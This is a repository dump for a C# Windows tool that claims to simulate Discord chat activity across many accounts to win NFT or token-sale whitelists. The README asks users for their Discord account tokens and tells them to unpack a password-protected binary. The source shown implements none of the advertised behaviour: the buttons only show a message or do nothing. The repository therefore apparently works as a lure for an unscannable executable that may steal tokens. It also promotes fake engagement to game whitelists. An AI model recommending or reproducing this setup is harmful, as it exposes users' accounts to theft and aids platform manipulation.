├── discordWL.png
├── discordWLtext.png
├── binary
└── Release.zip
├── source
├── Properties
│ ├── Settings.settings
│ ├── Settings.Designer.cs
│ ├── AssemblyInfo.cs
│ ├── Resources.Designer.cs
│ └── Resources.resx
├── Form3.cs
├── Program.cs
├── Form1.cs
├── Form2.cs
├── Form2.Designer.cs
├── DiscordWL.csproj
├── Form3.resx
├── Form3.Designer.cs
├── Form1.Designer.cs
├── Form2.resx
└── Form1.resx
└── README.md
/discordWL.png:
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https://raw.githubusercontent.com/ak1rahunt3r/discord-whitelist-bot/HEAD/discordWL.png
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/discordWLtext.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ak1rahunt3r/discord-whitelist-bot/HEAD/discordWLtext.png
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/binary/Release.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ak1rahunt3r/discord-whitelist-bot/HEAD/binary/Release.zip
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/source/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/source/Form3.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Windows.Forms;
9 |
10 | namespace DiscordWL
11 | {
12 | public partial class Form3 : Form
13 | {
14 | public Form3()
15 | {
16 | InitializeComponent();
17 | }
18 |
19 | private void button2_Click(object sender, EventArgs e)
20 | {
21 | this.Close();
22 | }
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/source/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Windows.Forms;
5 |
6 | namespace DiscordWL
7 | {
8 | static class Program
9 | {
10 | ///
11 | /// The main entry point for the application.
12 | ///
13 | [STAThread]
14 | static void Main()
15 | {
16 | Application.EnableVisualStyles();
17 | Application.SetCompatibleTextRenderingDefault(false);
18 | Application.Run(new Form2());
19 | }
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/source/Form1.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Windows.Forms;
9 |
10 | namespace DiscordWL
11 | {
12 | public partial class Form1 : Form
13 | {
14 | public Form1()
15 | {
16 | InitializeComponent();
17 | }
18 |
19 | private void button1_Click(object sender, EventArgs e)
20 | {
21 | Form3 form = new Form3();
22 | form.Show();
23 | }
24 |
25 | private void button4_Click(object sender, EventArgs e)
26 | {
27 | MessageBox.Show("No accounts added!");
28 |
29 | }
30 |
31 | private void Form1_Load(object sender, EventArgs e)
32 | {
33 |
34 | }
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/source/Form2.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Windows.Forms;
9 |
10 | namespace DiscordWL
11 | {
12 | public partial class Form2 : Form
13 | {
14 | public Form2()
15 | {
16 | InitializeComponent();
17 | }
18 |
19 | private void Form2_Load(object sender, EventArgs e)
20 | {
21 | richTextBox1.LoadFile("license.rtf");
22 | }
23 |
24 | private void button2_Click(object sender, EventArgs e)
25 | {
26 | Environment.Exit(0);
27 | }
28 |
29 | private void button1_Click(object sender, EventArgs e)
30 | {
31 | this.Hide();
32 | Form1 form1 = new Form1();
33 | form1.Show();
34 | }
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/source/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 |
12 | namespace DiscordWL.Properties
13 | {
14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
17 | {
18 |
19 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
20 |
21 | public static Settings Default
22 | {
23 | get
24 | {
25 | return defaultInstance;
26 | }
27 | }
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # discord-whitelist-bot
2 | Simulate discord activity on channels to get whitelist (NFT or tokensale).
3 | Bot randomly replies for messages in discord chat using messages from `reactions.txt` and `message.txt` files OR using emoji.
4 | Written on .Net Framework with xNetHTTP library and DiscordAPI.
5 |
6 | 
7 | 
8 |
9 | Requirements:
10 | - Discord tokens for accounts you need
11 | - Channel and chat names
12 |
13 | Setup:
14 | - Extract files with password `midTeQ7Bv`
15 | - Launch app
16 | - Add info to table for each account:
17 | - `accName` - account name or ethereum address
18 | - `accToken` - discord account token
19 | - `servName` - server name
20 | - `servChat` - server chat to send messages
21 | - `notes` - your notes for this account
22 | - Set messaging mode:
23 | - `replyGmGn` - send GM/GN reply if someone writes GM/GN
24 | - `replyWow` - send reaction from `reactions.txt` for someones message
25 | - `meMessage` - send message from `message.txt`
26 | - Set emoji mode:
27 | - `reactEmoji` - random positive reaction
28 | - `reactStickers` - random positive sticker
29 | - Start bot
30 | - Bot can be hidden to tray
31 |
--------------------------------------------------------------------------------
/source/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("DiscordWL")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("DiscordWL")]
13 | [assembly: AssemblyCopyright("Copyright © 2023")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("14a1ad75-8a03-40f6-ba0b-94de29f9d41d")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/source/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 |
12 | namespace DiscordWL.Properties
13 | {
14 | ///
15 | /// A strongly-typed resource class, for looking up localized strings, etc.
16 | ///
17 | // This class was auto-generated by the StronglyTypedResourceBuilder
18 | // class via a tool like ResGen or Visual Studio.
19 | // To add or remove a member, edit your .ResX file then rerun ResGen
20 | // with the /str option, or rebuild your VS project.
21 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
22 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
23 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
24 | internal class Resources
25 | {
26 |
27 | private static global::System.Resources.ResourceManager resourceMan;
28 |
29 | private static global::System.Globalization.CultureInfo resourceCulture;
30 |
31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
32 | internal Resources()
33 | {
34 | }
35 |
36 | ///
37 | /// Returns the cached ResourceManager instance used by this class.
38 | ///
39 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
40 | internal static global::System.Resources.ResourceManager ResourceManager
41 | {
42 | get
43 | {
44 | if ((resourceMan == null))
45 | {
46 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("DiscordWL.Properties.Resources", typeof(Resources).Assembly);
47 | resourceMan = temp;
48 | }
49 | return resourceMan;
50 | }
51 | }
52 |
53 | ///
54 | /// Overrides the current thread's CurrentUICulture property for all
55 | /// resource lookups using this strongly typed resource class.
56 | ///
57 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
58 | internal static global::System.Globalization.CultureInfo Culture
59 | {
60 | get
61 | {
62 | return resourceCulture;
63 | }
64 | set
65 | {
66 | resourceCulture = value;
67 | }
68 | }
69 | }
70 | }
71 |
--------------------------------------------------------------------------------
/source/Form2.Designer.cs:
--------------------------------------------------------------------------------
1 |
2 | namespace DiscordWL
3 | {
4 | partial class Form2
5 | {
6 | ///
7 | /// Required designer variable.
8 | ///
9 | private System.ComponentModel.IContainer components = null;
10 |
11 | ///
12 | /// Clean up any resources being used.
13 | ///
14 | /// true if managed resources should be disposed; otherwise, false.
15 | protected override void Dispose(bool disposing)
16 | {
17 | if (disposing && (components != null))
18 | {
19 | components.Dispose();
20 | }
21 | base.Dispose(disposing);
22 | }
23 |
24 | #region Windows Form Designer generated code
25 |
26 | ///
27 | /// Required method for Designer support - do not modify
28 | /// the contents of this method with the code editor.
29 | ///
30 | private void InitializeComponent()
31 | {
32 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form2));
33 | this.richTextBox1 = new System.Windows.Forms.RichTextBox();
34 | this.button1 = new System.Windows.Forms.Button();
35 | this.button2 = new System.Windows.Forms.Button();
36 | this.SuspendLayout();
37 | //
38 | // richTextBox1
39 | //
40 | this.richTextBox1.Location = new System.Drawing.Point(12, 12);
41 | this.richTextBox1.Name = "richTextBox1";
42 | this.richTextBox1.Size = new System.Drawing.Size(524, 287);
43 | this.richTextBox1.TabIndex = 0;
44 | this.richTextBox1.Text = "";
45 | //
46 | // button1
47 | //
48 | this.button1.Location = new System.Drawing.Point(442, 316);
49 | this.button1.Name = "button1";
50 | this.button1.Size = new System.Drawing.Size(94, 28);
51 | this.button1.TabIndex = 1;
52 | this.button1.Text = "Accept";
53 | this.button1.UseVisualStyleBackColor = true;
54 | this.button1.Click += new System.EventHandler(this.button1_Click);
55 | //
56 | // button2
57 | //
58 | this.button2.Location = new System.Drawing.Point(316, 316);
59 | this.button2.Name = "button2";
60 | this.button2.Size = new System.Drawing.Size(94, 28);
61 | this.button2.TabIndex = 2;
62 | this.button2.Text = "Decline";
63 | this.button2.UseVisualStyleBackColor = true;
64 | this.button2.Click += new System.EventHandler(this.button2_Click);
65 | //
66 | // Form2
67 | //
68 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
69 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
70 | this.ClientSize = new System.Drawing.Size(550, 360);
71 | this.Controls.Add(this.button2);
72 | this.Controls.Add(this.button1);
73 | this.Controls.Add(this.richTextBox1);
74 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
75 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
76 | this.Name = "Form2";
77 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
78 | this.Text = "Form2";
79 | this.Load += new System.EventHandler(this.Form2_Load);
80 | this.ResumeLayout(false);
81 |
82 | }
83 |
84 | #endregion
85 |
86 | private System.Windows.Forms.RichTextBox richTextBox1;
87 | private System.Windows.Forms.Button button1;
88 | private System.Windows.Forms.Button button2;
89 | }
90 | }
--------------------------------------------------------------------------------
/source/DiscordWL.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {14A1AD75-8A03-40F6-BA0B-94DE29F9D41D}
8 | WinExe
9 | DiscordWL
10 | DiscordWL
11 | v4.0
12 | 512
13 | true
14 |
15 |
16 | AnyCPU
17 | true
18 | full
19 | false
20 | bin\Debug\
21 | DEBUG;TRACE
22 | prompt
23 | 4
24 |
25 |
26 | AnyCPU
27 | pdbonly
28 | true
29 | bin\Release\
30 | TRACE
31 | prompt
32 | 4
33 |
34 |
35 | true
36 | bin\x86\Debug\
37 | DEBUG;TRACE
38 | full
39 | x86
40 | 7.3
41 | prompt
42 |
43 |
44 | bin\x86\Release\
45 | TRACE
46 | true
47 | none
48 | x86
49 | 7.3
50 | prompt
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 | ..\..\xNetHTTP\xNetHTTP\bin\x86\Release\xNetHTTP.dll
65 |
66 |
67 |
68 |
69 | Form
70 |
71 |
72 | Form1.cs
73 |
74 |
75 | Form
76 |
77 |
78 | Form2.cs
79 |
80 |
81 | Form
82 |
83 |
84 | Form3.cs
85 |
86 |
87 |
88 |
89 | Form1.cs
90 |
91 |
92 | Form2.cs
93 |
94 |
95 | Form3.cs
96 |
97 |
98 | ResXFileCodeGenerator
99 | Resources.Designer.cs
100 | Designer
101 |
102 |
103 | True
104 | Resources.resx
105 |
106 |
107 | SettingsSingleFileGenerator
108 | Settings.Designer.cs
109 |
110 |
111 | True
112 | Settings.settings
113 | True
114 |
115 |
116 |
117 |
--------------------------------------------------------------------------------
/source/Properties/Resources.resx:
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1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 | text/microsoft-resx
107 |
108 |
109 | 2.0
110 |
111 |
112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
113 |
114 |
115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
--------------------------------------------------------------------------------
/source/Form3.resx:
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1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
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95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
--------------------------------------------------------------------------------
/source/Form3.Designer.cs:
--------------------------------------------------------------------------------
1 |
2 | namespace DiscordWL
3 | {
4 | partial class Form3
5 | {
6 | ///
7 | /// Required designer variable.
8 | ///
9 | private System.ComponentModel.IContainer components = null;
10 |
11 | ///
12 | /// Clean up any resources being used.
13 | ///
14 | /// true if managed resources should be disposed; otherwise, false.
15 | protected override void Dispose(bool disposing)
16 | {
17 | if (disposing && (components != null))
18 | {
19 | components.Dispose();
20 | }
21 | base.Dispose(disposing);
22 | }
23 |
24 | #region Windows Form Designer generated code
25 |
26 | ///
27 | /// Required method for Designer support - do not modify
28 | /// the contents of this method with the code editor.
29 | ///
30 | private void InitializeComponent()
31 | {
32 | this.textBox1 = new System.Windows.Forms.TextBox();
33 | this.label1 = new System.Windows.Forms.Label();
34 | this.label2 = new System.Windows.Forms.Label();
35 | this.textBox2 = new System.Windows.Forms.TextBox();
36 | this.label3 = new System.Windows.Forms.Label();
37 | this.textBox3 = new System.Windows.Forms.TextBox();
38 | this.label4 = new System.Windows.Forms.Label();
39 | this.textBox4 = new System.Windows.Forms.TextBox();
40 | this.label5 = new System.Windows.Forms.Label();
41 | this.textBox5 = new System.Windows.Forms.TextBox();
42 | this.button1 = new System.Windows.Forms.Button();
43 | this.button2 = new System.Windows.Forms.Button();
44 | this.SuspendLayout();
45 | //
46 | // textBox1
47 | //
48 | this.textBox1.Location = new System.Drawing.Point(15, 36);
49 | this.textBox1.Name = "textBox1";
50 | this.textBox1.Size = new System.Drawing.Size(240, 20);
51 | this.textBox1.TabIndex = 0;
52 | //
53 | // label1
54 | //
55 | this.label1.AutoSize = true;
56 | this.label1.Location = new System.Drawing.Point(12, 20);
57 | this.label1.Name = "label1";
58 | this.label1.Size = new System.Drawing.Size(53, 13);
59 | this.label1.TabIndex = 1;
60 | this.label1.Text = "accName";
61 | //
62 | // label2
63 | //
64 | this.label2.AutoSize = true;
65 | this.label2.Location = new System.Drawing.Point(12, 80);
66 | this.label2.Name = "label2";
67 | this.label2.Size = new System.Drawing.Size(56, 13);
68 | this.label2.TabIndex = 3;
69 | this.label2.Text = "accToken";
70 | //
71 | // textBox2
72 | //
73 | this.textBox2.Location = new System.Drawing.Point(15, 96);
74 | this.textBox2.Name = "textBox2";
75 | this.textBox2.Size = new System.Drawing.Size(240, 20);
76 | this.textBox2.TabIndex = 2;
77 | //
78 | // label3
79 | //
80 | this.label3.AutoSize = true;
81 | this.label3.Location = new System.Drawing.Point(12, 141);
82 | this.label3.Name = "label3";
83 | this.label3.Size = new System.Drawing.Size(55, 13);
84 | this.label3.TabIndex = 5;
85 | this.label3.Text = "servName";
86 | //
87 | // textBox3
88 | //
89 | this.textBox3.Location = new System.Drawing.Point(15, 157);
90 | this.textBox3.Name = "textBox3";
91 | this.textBox3.Size = new System.Drawing.Size(240, 20);
92 | this.textBox3.TabIndex = 4;
93 | //
94 | // label4
95 | //
96 | this.label4.AutoSize = true;
97 | this.label4.Location = new System.Drawing.Point(12, 201);
98 | this.label4.Name = "label4";
99 | this.label4.Size = new System.Drawing.Size(49, 13);
100 | this.label4.TabIndex = 7;
101 | this.label4.Text = "servChat";
102 | //
103 | // textBox4
104 | //
105 | this.textBox4.Location = new System.Drawing.Point(15, 217);
106 | this.textBox4.Name = "textBox4";
107 | this.textBox4.Size = new System.Drawing.Size(240, 20);
108 | this.textBox4.TabIndex = 6;
109 | //
110 | // label5
111 | //
112 | this.label5.AutoSize = true;
113 | this.label5.Location = new System.Drawing.Point(12, 262);
114 | this.label5.Name = "label5";
115 | this.label5.Size = new System.Drawing.Size(33, 13);
116 | this.label5.TabIndex = 9;
117 | this.label5.Text = "notes";
118 | //
119 | // textBox5
120 | //
121 | this.textBox5.Location = new System.Drawing.Point(15, 278);
122 | this.textBox5.Name = "textBox5";
123 | this.textBox5.Size = new System.Drawing.Size(240, 20);
124 | this.textBox5.TabIndex = 8;
125 | //
126 | // button1
127 | //
128 | this.button1.Location = new System.Drawing.Point(183, 315);
129 | this.button1.Name = "button1";
130 | this.button1.Size = new System.Drawing.Size(72, 26);
131 | this.button1.TabIndex = 10;
132 | this.button1.Text = "Add";
133 | this.button1.UseVisualStyleBackColor = true;
134 | //
135 | // button2
136 | //
137 | this.button2.Location = new System.Drawing.Point(93, 315);
138 | this.button2.Name = "button2";
139 | this.button2.Size = new System.Drawing.Size(72, 26);
140 | this.button2.TabIndex = 11;
141 | this.button2.Text = "Cancel";
142 | this.button2.UseVisualStyleBackColor = true;
143 | this.button2.Click += new System.EventHandler(this.button2_Click);
144 | //
145 | // Form3
146 | //
147 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
148 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
149 | this.ClientSize = new System.Drawing.Size(274, 357);
150 | this.Controls.Add(this.button2);
151 | this.Controls.Add(this.button1);
152 | this.Controls.Add(this.label5);
153 | this.Controls.Add(this.textBox5);
154 | this.Controls.Add(this.label4);
155 | this.Controls.Add(this.textBox4);
156 | this.Controls.Add(this.label3);
157 | this.Controls.Add(this.textBox3);
158 | this.Controls.Add(this.label2);
159 | this.Controls.Add(this.textBox2);
160 | this.Controls.Add(this.label1);
161 | this.Controls.Add(this.textBox1);
162 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
163 | this.Name = "Form3";
164 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
165 | this.Text = "Add Account";
166 | this.ResumeLayout(false);
167 | this.PerformLayout();
168 |
169 | }
170 |
171 | #endregion
172 |
173 | private System.Windows.Forms.TextBox textBox1;
174 | private System.Windows.Forms.Label label1;
175 | private System.Windows.Forms.Label label2;
176 | private System.Windows.Forms.TextBox textBox2;
177 | private System.Windows.Forms.Label label3;
178 | private System.Windows.Forms.TextBox textBox3;
179 | private System.Windows.Forms.Label label4;
180 | private System.Windows.Forms.TextBox textBox4;
181 | private System.Windows.Forms.Label label5;
182 | private System.Windows.Forms.TextBox textBox5;
183 | private System.Windows.Forms.Button button1;
184 | private System.Windows.Forms.Button button2;
185 | }
186 | }
--------------------------------------------------------------------------------
/source/Form1.Designer.cs:
--------------------------------------------------------------------------------
1 |
2 | namespace DiscordWL
3 | {
4 | partial class Form1
5 | {
6 | ///
7 | /// Required designer variable.
8 | ///
9 | private System.ComponentModel.IContainer components = null;
10 |
11 | ///
12 | /// Clean up any resources being used.
13 | ///
14 | /// true if managed resources should be disposed; otherwise, false.
15 | protected override void Dispose(bool disposing)
16 | {
17 | if (disposing && (components != null))
18 | {
19 | components.Dispose();
20 | }
21 | base.Dispose(disposing);
22 | }
23 |
24 | #region Windows Form Designer generated code
25 |
26 | ///
27 | /// Required method for Designer support - do not modify
28 | /// the contents of this method with the code editor.
29 | ///
30 | private void InitializeComponent()
31 | {
32 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1));
33 | this.dataGridView1 = new System.Windows.Forms.DataGridView();
34 | this.accName = new System.Windows.Forms.DataGridViewTextBoxColumn();
35 | this.accToken = new System.Windows.Forms.DataGridViewTextBoxColumn();
36 | this.servName = new System.Windows.Forms.DataGridViewTextBoxColumn();
37 | this.servChat = new System.Windows.Forms.DataGridViewTextBoxColumn();
38 | this.notes = new System.Windows.Forms.DataGridViewTextBoxColumn();
39 | this.button1 = new System.Windows.Forms.Button();
40 | this.button2 = new System.Windows.Forms.Button();
41 | this.checkBox1 = new System.Windows.Forms.CheckBox();
42 | this.checkBox2 = new System.Windows.Forms.CheckBox();
43 | this.checkBox3 = new System.Windows.Forms.CheckBox();
44 | this.checkBox4 = new System.Windows.Forms.CheckBox();
45 | this.checkBox5 = new System.Windows.Forms.CheckBox();
46 | this.button3 = new System.Windows.Forms.Button();
47 | this.button4 = new System.Windows.Forms.Button();
48 | ((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).BeginInit();
49 | this.SuspendLayout();
50 | //
51 | // dataGridView1
52 | //
53 | this.dataGridView1.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill;
54 | this.dataGridView1.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize;
55 | this.dataGridView1.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {
56 | this.accName,
57 | this.accToken,
58 | this.servName,
59 | this.servChat,
60 | this.notes});
61 | this.dataGridView1.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically;
62 | this.dataGridView1.Location = new System.Drawing.Point(12, 12);
63 | this.dataGridView1.Name = "dataGridView1";
64 | this.dataGridView1.Size = new System.Drawing.Size(646, 256);
65 | this.dataGridView1.TabIndex = 0;
66 | //
67 | // accName
68 | //
69 | this.accName.HeaderText = "accName";
70 | this.accName.Name = "accName";
71 | //
72 | // accToken
73 | //
74 | this.accToken.HeaderText = "accToken";
75 | this.accToken.Name = "accToken";
76 | //
77 | // servName
78 | //
79 | this.servName.HeaderText = "servName";
80 | this.servName.Name = "servName";
81 | //
82 | // servChat
83 | //
84 | this.servChat.HeaderText = "servChat";
85 | this.servChat.Name = "servChat";
86 | //
87 | // notes
88 | //
89 | this.notes.HeaderText = "notes";
90 | this.notes.Name = "notes";
91 | //
92 | // button1
93 | //
94 | this.button1.Location = new System.Drawing.Point(583, 289);
95 | this.button1.Name = "button1";
96 | this.button1.Size = new System.Drawing.Size(75, 23);
97 | this.button1.TabIndex = 1;
98 | this.button1.Text = "Add acc";
99 | this.button1.UseVisualStyleBackColor = true;
100 | this.button1.Click += new System.EventHandler(this.button1_Click);
101 | //
102 | // button2
103 | //
104 | this.button2.Location = new System.Drawing.Point(486, 289);
105 | this.button2.Name = "button2";
106 | this.button2.Size = new System.Drawing.Size(75, 23);
107 | this.button2.TabIndex = 2;
108 | this.button2.Text = "Delete acc";
109 | this.button2.UseVisualStyleBackColor = true;
110 | //
111 | // checkBox1
112 | //
113 | this.checkBox1.AutoSize = true;
114 | this.checkBox1.Location = new System.Drawing.Point(12, 295);
115 | this.checkBox1.Name = "checkBox1";
116 | this.checkBox1.Size = new System.Drawing.Size(78, 17);
117 | this.checkBox1.TabIndex = 3;
118 | this.checkBox1.Text = "replyGmGn";
119 | this.checkBox1.UseVisualStyleBackColor = true;
120 | //
121 | // checkBox2
122 | //
123 | this.checkBox2.AutoSize = true;
124 | this.checkBox2.Location = new System.Drawing.Point(12, 328);
125 | this.checkBox2.Name = "checkBox2";
126 | this.checkBox2.Size = new System.Drawing.Size(73, 17);
127 | this.checkBox2.TabIndex = 4;
128 | this.checkBox2.Text = "replyWow";
129 | this.checkBox2.UseVisualStyleBackColor = true;
130 | //
131 | // checkBox3
132 | //
133 | this.checkBox3.AutoSize = true;
134 | this.checkBox3.Location = new System.Drawing.Point(12, 362);
135 | this.checkBox3.Name = "checkBox3";
136 | this.checkBox3.Size = new System.Drawing.Size(83, 17);
137 | this.checkBox3.TabIndex = 5;
138 | this.checkBox3.Text = "meMessage";
139 | this.checkBox3.UseVisualStyleBackColor = true;
140 | //
141 | // checkBox4
142 | //
143 | this.checkBox4.AutoSize = true;
144 | this.checkBox4.Location = new System.Drawing.Point(173, 295);
145 | this.checkBox4.Name = "checkBox4";
146 | this.checkBox4.Size = new System.Drawing.Size(75, 17);
147 | this.checkBox4.TabIndex = 6;
148 | this.checkBox4.Text = "reactEmoji";
149 | this.checkBox4.UseVisualStyleBackColor = true;
150 | //
151 | // checkBox5
152 | //
153 | this.checkBox5.AutoSize = true;
154 | this.checkBox5.Location = new System.Drawing.Point(173, 328);
155 | this.checkBox5.Name = "checkBox5";
156 | this.checkBox5.Size = new System.Drawing.Size(88, 17);
157 | this.checkBox5.TabIndex = 7;
158 | this.checkBox5.Text = "reactStickers";
159 | this.checkBox5.UseVisualStyleBackColor = true;
160 | //
161 | // button3
162 | //
163 | this.button3.Location = new System.Drawing.Point(583, 324);
164 | this.button3.Name = "button3";
165 | this.button3.Size = new System.Drawing.Size(75, 23);
166 | this.button3.TabIndex = 8;
167 | this.button3.Text = "ToTray";
168 | this.button3.UseVisualStyleBackColor = true;
169 | //
170 | // button4
171 | //
172 | this.button4.Location = new System.Drawing.Point(486, 324);
173 | this.button4.Name = "button4";
174 | this.button4.Size = new System.Drawing.Size(75, 23);
175 | this.button4.TabIndex = 9;
176 | this.button4.Text = "S T A R T";
177 | this.button4.UseVisualStyleBackColor = true;
178 | this.button4.Click += new System.EventHandler(this.button4_Click);
179 | //
180 | // Form1
181 | //
182 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
183 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
184 | this.ClientSize = new System.Drawing.Size(669, 391);
185 | this.Controls.Add(this.button4);
186 | this.Controls.Add(this.button3);
187 | this.Controls.Add(this.checkBox5);
188 | this.Controls.Add(this.checkBox4);
189 | this.Controls.Add(this.checkBox3);
190 | this.Controls.Add(this.checkBox2);
191 | this.Controls.Add(this.checkBox1);
192 | this.Controls.Add(this.button2);
193 | this.Controls.Add(this.button1);
194 | this.Controls.Add(this.dataGridView1);
195 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
196 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
197 | this.MaximizeBox = false;
198 | this.Name = "Form1";
199 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
200 | this.Text = "DiscordWL";
201 | this.Load += new System.EventHandler(this.Form1_Load);
202 | ((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).EndInit();
203 | this.ResumeLayout(false);
204 | this.PerformLayout();
205 |
206 | }
207 |
208 | #endregion
209 |
210 | private System.Windows.Forms.DataGridView dataGridView1;
211 | private System.Windows.Forms.DataGridViewTextBoxColumn accName;
212 | private System.Windows.Forms.DataGridViewTextBoxColumn accToken;
213 | private System.Windows.Forms.DataGridViewTextBoxColumn servName;
214 | private System.Windows.Forms.DataGridViewTextBoxColumn servChat;
215 | private System.Windows.Forms.DataGridViewTextBoxColumn notes;
216 | private System.Windows.Forms.Button button1;
217 | private System.Windows.Forms.Button button2;
218 | private System.Windows.Forms.CheckBox checkBox1;
219 | private System.Windows.Forms.CheckBox checkBox2;
220 | private System.Windows.Forms.CheckBox checkBox3;
221 | private System.Windows.Forms.CheckBox checkBox4;
